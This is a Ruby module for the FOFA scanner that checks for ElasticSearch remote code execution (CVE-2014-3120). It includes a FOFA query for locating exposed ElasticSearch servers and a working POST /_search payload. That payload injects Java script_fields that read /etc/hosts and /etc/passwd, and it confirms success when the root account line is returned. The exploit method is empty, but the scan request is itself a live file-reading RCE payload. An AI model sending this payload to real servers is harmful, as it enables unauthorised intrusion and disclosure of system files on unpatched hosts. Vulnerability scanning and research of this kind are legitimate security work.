require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'ElasticSearch 远程代码执行RCE',
      'Description' => %q{ElasticSearch可以执行任意代码。},
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'elasticsearch',
      'Homepage' => 'http://www.elasticsearch.org/',
      'References' =>
          [
              ['CVE', '2014-3120'],
          ],
      'DisclosureDate'=> '2014-06-01',
      'FofaQuery'=>'(header="application/json" && body="build_hash") || body="You Know, for Search"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'POST',
                    uri: '/_search?pretty',
                    data: %q|{
                      "size": 1,
                      "query": {
                        "filtered": {
                          "query": {
                            "match_all": {}
                          }
                        }
                      },
                      "script_fields": {
                        "/etc/hosts": {
                          "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\\\\\Z\").next();"
                        },
                        "/etc/passwd": {
                          "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\\\\\Z\").next();"
                        }
                      }
                    }|,
                    header: {'User-Define'=> '2333333'}
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: 'root:x:0:0:root:/root:/bin/bash'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
  end
end